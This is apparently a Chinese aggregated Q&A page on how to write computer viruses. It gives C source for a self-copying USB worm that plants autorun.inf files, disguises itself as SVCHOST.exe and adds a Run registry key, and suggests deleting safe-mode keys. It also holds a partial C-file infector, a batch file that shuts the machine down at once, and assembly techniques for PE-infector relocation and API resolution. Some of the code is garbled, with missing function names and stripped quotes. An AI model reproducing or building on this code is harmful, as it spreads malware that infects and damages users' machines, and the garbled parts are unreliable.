病毒分子编译
A. 如何用c语言写病毒
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
} 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;
警告:不会修改注册表的人;别运行本程序...
B. 病毒一般是用什么语言编写!
编病毒程序的软件很多。可以用vb script做个脚本病毒,弹出N多对话框,直到死机。采取的是一种叫做“死循环”的语法规则。用java script做炸弹程序。用C语言做蠕虫病毒或者是特洛伊木马。但最高级的编程者,是利用汇编语言做病毒的编译的。
C. 病毒源代码
病毒源代码是实现病毒功能的程序代码。只有用编译器编译病毒代码,才可以获得可执行的病毒程序,否则代码就是一堆文字而已。
病毒源代码可以直接用编译器制作病毒,脚本病毒的源代码可以直接被执行。
如果你有志于学习编程,那么阅读病毒源代码是种比较酷的办法,你不仅可以从中学到相应的编程知识和系统知识,还可以对源代码进行修改,甚至在别人成果的基础上制造自己的病毒! 那个熊猫烧香的作者就是这么干的。
当然,DON‘T DO EVIL!
D. 怎么编写病毒程序
问题一:如何编写程序病毒? 那首先要对系统底层的东西比较熟悉,如果编网络病毒,还要对网络协议很了解。并且要精通至少一门编程语言,一般写病毒用a *** (汇编语言)的比较多,用其他也可以,比如vbs(vb脚本语言)或者.bat的海处理,都可以。如果写unix 类系统的病毒用c语言的多一些。但汇编知识是写高级病毒必须的知识。
问题二:如何写一个简单的病毒程序? 前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法达到“牛”的境界上去。如今写了这篇文章,介绍的都是相当实用的东西,可以让你少走许多弯路(有时侯一个错误够你找几个小时的)。不过需要些基础知识才能看懂。假如你有天知识储备够了,不学学病毒将是你的遗憾。另,由于是写给协会会员参考的,也没写的多“专业”,多了些赘述。
在你看之前,你应该知道这只是篇可以带你入门的文章,如果你已经会了就不用看了。看的时候最好准备个PE表在旁边。写病毒程序可以使用很多种语言来写比如C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。但是最适合写病毒程序的还是汇编语言。汇编语言底层,灵活,速度快,体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包含了所有的功能。一般一个病毒都有如下几个功能:
一 代码重定位
二 自己找到所需API地址
三 搜索文件、目录
四 感染文件
五 破坏系统或文件(随便你了)
其中一,二项功能是必要的,五项功能是可选的。而一个病毒程序感染文件的功能是它的核心,是衡量它质量的重要标准。
(一)代码的重定位
一个变量或函数其实是一个内存地址,在编译好后,程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。如果你将代码插入到其他任何地方,再通过原来编译时产生的地址去找他们就找不到了,因为他们已经搬家了。但是,你在写程序时考虑到这个问题,你就可以在代码最开始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。就象这段代码。
Call getbaseaddress
Getbaseaddress:pop ebx
Sub ebx,offset getbaseaddress
Mov eax,dword ptr [ebx+Var1]
如果你使用宏汇编语言写病毒,请尽量使用ebx做基地址指针,不要使用ebp,因为ebp在调用带参数的函数时会改变。
(二)自己取得所需的API地址
一个win32程序文件,所调用的API函数地址,是由系统填入到程序文件中描述各类数据位置的数据结构中的。而病毒作为一个残废是享受不到这个待遇的。因为你在把病毒的代码插入目标程序时没有把这些描述数据存放位置的数据结构信息也弄进去。它 *** 入到其他目标程序后就成了只有代码的残废儿童:(所以作为一个残废儿童,应当自力更生。自己搜寻自己需要的API地址。目标程序文件就包含了我们需要的东西,我们需要自己去找。目标程序文件只要还是win32程序,它的地址空间中就包含的有Kernel32.dll。如果找到了它,我们就能找到其他任何的东东。第一步,搜寻kernel32.dll的基地址。当然了,整个地址空间有4GB,可供搜索的用户进程空间也有2GB。在2GB中搜索,太吓人了。总不能在执行被感染的目标程序时,先让用户喝杯茶吧?或者斗斗地主?这里有两个技巧向大家介绍。
在程序被加载后,加载程序会调用程序的主线程的第一条指令的位置。它使用的指令是CALL,就是说,你程序还没执行,堆栈区里就有了一个返回地址了,这个返回地址指向的是加载程序,而加载程序是包含在KERNEL32.dll中的,我们顺着它向上找,就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找,而是一个页面一个页面地找。因为win3......>>
问题三:怎么用C语言写个简单病毒,给个代码过程 首先声明:
本程序是我举的一个例子
为了叫大家理解就可以了
如果大家拿去捉弄人,我不负任何责任!
希望大家要以学习为重!
对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的
我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享
不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定
用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题,
再次声明这一切全是为了编程研究!!!
病毒的特点:
病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式
病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。
从程序的角度来说,我们要做的事情有两件:
1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,
使它具备继续复制的能力。
2,在一定条件下使其产生某种发作效果。
其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染
文件的最后,同时在被感染文件中调用这个函数
下面给出c语言的实现过程:
1,主程序调用病毒功能函数
2,病毒功能函数读取查找同目录下所有c文件;
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
调用语句写入;
6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;
这样一个简单的c语言伪病毒virus.c就完成了
运行程序后其内容变化另保存为after_virus.c
此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果
他们一运行又感染了他们保存1.c文件目录下所有c文件
对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你
完全可以写一个TSR驻留函数
其实,这个程序勉强可以叫做病毒
根本不算是真正的病毒,好了就说这么多,
代码如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus=virus.c;
char buf[50][80];
char *p;
char *end=return;
char *bracket=};
char *main=main;
char *include[2]={stdio.h,dir.h};
char *int_virus=int virus();
char *buffer;
int done,i,j=0,flag=0;
printf(\nI have a virus. Writen by PuBin\n);
done = findfirst(*.c,&ffblk,0);
while (!done)
{
i=0;
if ((in = fope......>>
问题四:病毒一般用什么语言编写的? 由于现在大多数的所谓的黑客都没有真正的技术,他们的木马都是利用别人编写的木马生成程序生成的,只要一点就好了!~~现在流行的木马有VB、E语言、pascal(注意Delphy不是一门语言,而是pascal语言的编辑器,就像C++跟VC++之间的关系)等,大量用他们编写的原因并不是他们有多好,只不过是他们简单易学!所以只要你有技术,用什么程序写不重要,条条大路通罗马!
问题五:怎样编写简单,对系统无害的病毒文件? 双击这个文件后就会关机,无毒无害。
这是代码:
@echo off
cd/
shutdown -s -t 0 -c Loading Installation,Please Wait...
那个0是打开这个文件后多少秒关机(0就是立即关机,10就是打开文件10秒后关机), 引号中的字(Loading Installation,Please Wait...)可以随意更改(只是引号里面的,别把引号给删了)。
问题六:怎样编写病毒 3.1.1病毒程序VIRUS.C
这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:
当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则
(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。
(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。
(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。
(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。
其中用到4个出错的返回值,分别是:
1:用户文件太大,不传染;
2:带病毒文件打不开,不传染;
3:带病毒文件读取不成功,不传染;
4:查找第一个匹配文件不成功。
如果返回值是0代表文件传染成功。
具体实现过程如下:
其中用到的函数和结构体用法参考3.3节。
首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。
然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。
如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。
如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。
然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。
这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,......>>
问题七:怎么用C语言编写木马.病毒等程序 嘿嘿给你个类病毒C程序源码,看下方法吧 #define SVCHOST_NUM 6
#include
#include
char *autorun={[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\mand=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\mand=SVCHOST.exe\nshellexecute=SVCHOST.exe};
char *files_autorun[10]={c:\\autorun.inf,d:\\autorun.inf,e:\\autorun.inf};
char *files_svchost[SVCHOST_NUM+1]={c:\\windows\\system\\MSMOUSE.DLL,
c:\\windows\\system\\SVCHOST.exe,c:\\windows\\SVCHOST.exe,
c:\\SVCHOST.exe,d:\\SVCHOST.exe,e:\\SVCHOST.exe,SVCHOST.exe};
char *regadd=reg add \HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\ /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f;
int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,rb))!=NULL) && ((output=fopen
(outfile,wb))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
......>>
问题八:怎么编辑木马病毒程序 很高兴为您解答:
制作并且传播木马都是违法行为,况且在你制作的时候可能会有人利用这漏洞对你的电脑产生危害,到时候就得不偿失拉
建议下其他腾讯电脑管家,开启所有防护,避免有人利用病毒或是木马来危害新的电脑以及帐号的全全
1、腾讯电脑管家独有的二代反病毒引擎,防护查杀更彻底
2、腾讯电脑管家拥有全球最大的云库平台,能更好的识别诈骗、钓鱼网站
3、腾讯电脑管家独创鹰眼模式,时刻保护您的爱机不受侵害
4、腾讯电脑管家独有的安全等级,您可以时刻查看你爱机的安全状态
5、新增广告过滤功能,有效减轻广告骚扰。
祝楼主祝您工作、生活愉快!!
问题九:病毒的编写是用的什么原理? 在计算机领域中,它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具 *** 置,往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。
从木马的发展来看,基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。
而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。
所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。
二、木马原理
[编辑本段]
鉴于木马的巨大危害性,我们将分原理篇,防御与反击篇,资料篇三部分来详细介绍木马,希望大家对特洛伊木马这种攻击手段有一个透彻的了解。
【一、基础知识 】
在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明,因为下面有很多地方会提到这些内容。
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。
(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。
(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。
用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。
一.配置木马
一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:
(1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。
(2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICO号等等,具体的我们将在“信息反馈”这一节中详细介绍。
【二、传播木马】.
(1)传播方式:
木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载,一些非正规的网站以提供软件下载为名义, 将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。
(2)伪装方......>>
问题十:有源代码,怎样编写病毒程序? 您好:
建议您不要编写或使用病毒程序,病毒程序会对您的电脑造成损害的,如果您曾使用过此类不安全的病毒程序的话,为了您电脑的安全,建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧,打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以,您可以点击这里下载最新版的腾讯电脑管家:最新版腾讯电脑管家下载
腾讯电脑管家企业平台:./c/guanjia/
E. 为什大多数免杀,都将病毒文件反编译成汇编代码而不是高级语言代码 是不是为了统一。。
wxw072理解的没错~
已经编译好的可执行程序都是以二进制码组成的
汇编这种低级语言和二进制码是一一对应的关系
所以反编译的时候,只要读取硬盘或内存中的程序编码
既可以很简单的反编译为汇编语言。
这样方便实现而且错误率极低
而高级语言其实是一种给人看的语言,而不是给机器看的~~
机器只能看懂机器码,汇编其实只不过是机器码的另一种形势,但高级语言则完全是另一种东西。
把可执行文件直接反编译为高级语言的软件并不多,而且反编译出来的高级语言往往也只能做个参考,不能完全依赖
(java貌似可以,但这是因为java程序是在JVM上运行的,不依赖操作系统,也不直接操作机器。所以用java编写并生成的程序本身也不是机器码的。而只是一种中间代码,这样就很容易反编译回java语言状态)
何况病毒一类的东西的程序大多是加壳加花的~
这样几乎就没啥可能直接反编译成高级语言了~
只能在汇编语言下进行调试和修改
因为加壳加花是为了迷惑人的,而不是为了迷惑机器的(废话,如果连机器都迷惑了,那这个程序就执行不了了……)
所以反汇编就是从机器的角度去读这个程序。以求最大的成功率
而反编译为高级语言,属于逆向工程的范畴,很深的一门学科
是需要通过反编译的汇编代码,人为的恢复成高级语言代码,挺难的~~
F. 怎么编程病毒
搂主`你多C语言懂多少呀?通常只要在病毒代码的开始计算出delta offset,通过变址寻址的方式书写引用数据的汇编代码,即可保证病毒代码在运行时被正确重定位。假设ebp 包含了delta offset,使用如下变址寻址指令则可保证在运行时引用的数据地址是正确的:
;ebp 包含了delta offset 值
401000:
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0
在书写源程序时可以采用符号来代替硬编码的地址值,上述的例子中给出的不过是编译器对符号进行地址替换后的结果。现在的问题就转换成如何获取delta offset的值了,显然:
call delta
delta:
pop ebp
sub ebp,offset delta
在运行时就动态计算出了delta offset 值,因为call要将其后的第一条指令的地址压入堆栈,因此pop ebp 执行完毕后ebp 中就是delta的运行时地址,减去delta的编译时地址“offset delta”就得到了delta offset 的值。除了用明显的call 指令外,还可以使用不那么明显的fstenv、fsave、fxsave、fnstenv等浮点环境保存指令进行,这些指令也都可以获取某条指令的运行时地址。以fnstenv 为例,该指令将最后执行的一条FPU 指令相关的协处理器的信息保存在指定的内存中fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr
GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret
delta offset 也不一定非要放在ebp 中,只不过是ebp 作为栈帧指针一般过程都不将该寄存器用于其它用途,因此大部分病毒作者都习惯于将delta offset 保存在ebp 中,其实用其他寄存器也完全可以。
在优化过的病毒代码中并不经常直接使用上述直接计算delta offset 的代码,比如在Elkern开头写成了类似如下的代码:
call _start_ip
_start_ip:
pop ebp
;...
;使用
call [ebp+addrOpenProcess-_start_ip]
;...
addrOpenProcess dd 0
;而不是
call _start_ip
_start_ip:
pop ebp
sub ebp,_start_ip
call [ebp+addrOpenProcess]
为什么不采用第二种书写代码的方式?其原因在于尽管第一种格式在书写源码时显得比较罗嗦, 但是addrOpenProcess-_start_ip 是一个较小相对偏移值,一般不超过两个字节,因此生成的指令较短,而addrOpenProcess在32 Win32编译环境下一般是4 个字节的地址值,生成的指令也就较长。有时对病毒对大小要求很苛刻,更多时候也是为了显示其超俗的编程技巧,病毒作者大量采用这种优化,对这种优化原理感兴趣的读者请参阅Intel手册卷2中的指令格式说明。
API 函数地址的获取
在能够正确重定位之后,病毒就可以运行自己代码了。但是这还远远不够,要搜索文件、读写文件、进行进程枚举等操作总不能在有Win32 API 的情况下自己用汇编完全重新实现一套吧,那样的编码量过大而且兼容性很差。
Win9X/NT/2000/XP/2003系统都实现了同一套在各个不同的版本上都高度兼容的Win32 API,因此调用系统提供的Win32 API实现各种功能对病毒而言就是自然而然的事情了。所以接下来要解决的问题就是如何动态获取Win32 API的地址。最早的PE病毒采用的是预编码的方法,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那么就在病毒代码中使用call [7EE63260h]调用该API,但问题是不同的Windows 版本之间该API 的地址并不完全相同,使用该方法的病毒可能只能在Windows 2000的某个版本上运行。
因此病毒作者自然而然地回到PE结构上来探求解决方法,我们知道系统加载PE 文件的时候,可以将其引入的特定DLL 中函数的运行时地址填入PE的引入函数表中,那么系统是如何为PE引入表填入正确的函数地址的呢?答案是系统解析引入DLL 的导出函数表,然后根据名字或序号搜索到相应引出函数的的RVA(相对虚拟地址),然后再和模块在内存中的实际加载地址相加,就可以得到API 函数的运行时真正地址。在研究操作系统是如何实现动态PE文件链接的过程中,病毒作者找到了以下两种解决方案:
A)在感染PE 文件的时候,可以搜索宿主的函数引入表的相关地址,如果发现要使用的函数已经被引入,则将对该API 的调用指向该引入表函数地址,若未引入,则修改引入表增加该函数的引入表项,并将对该API 的调用指向新增加的引入函数地址。这样在宿主程序启动的时候,系统加载器已经把正确的API 函数地址填好了,病毒代码即可正确地直接调用该函数。
B)系统可以解析DLL 的导出表,自然病毒也可以通过这种手段从DLL 中获取所需要的API地址。要在运行时解析搜索DLL 的导出表,必须首先获取DLL 在内存中的真实加载地址,只有这样才能解析从PE 的头部信息中找到导出表的位置。应该首先解析哪个DLL 呢?我们知道Kernel32.DLL几乎在所有的Win32 进程中都要被加载,其中包含了大部分常用的API,特别是其中的LoadLibrary 和GetProcAddress 两个API可以获取任意DLL 中导出的任意函数,在迄今为止的所有Windows 平台上都是如此。只要获取了Kernel32.DLL在进程中加载的基址,然后解析Kernel32.DLL 的导出表获取常用的API 地址,如需要可进一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 两个API 更简单地获取任意其他DLL 中导出函数的地址并进行调用。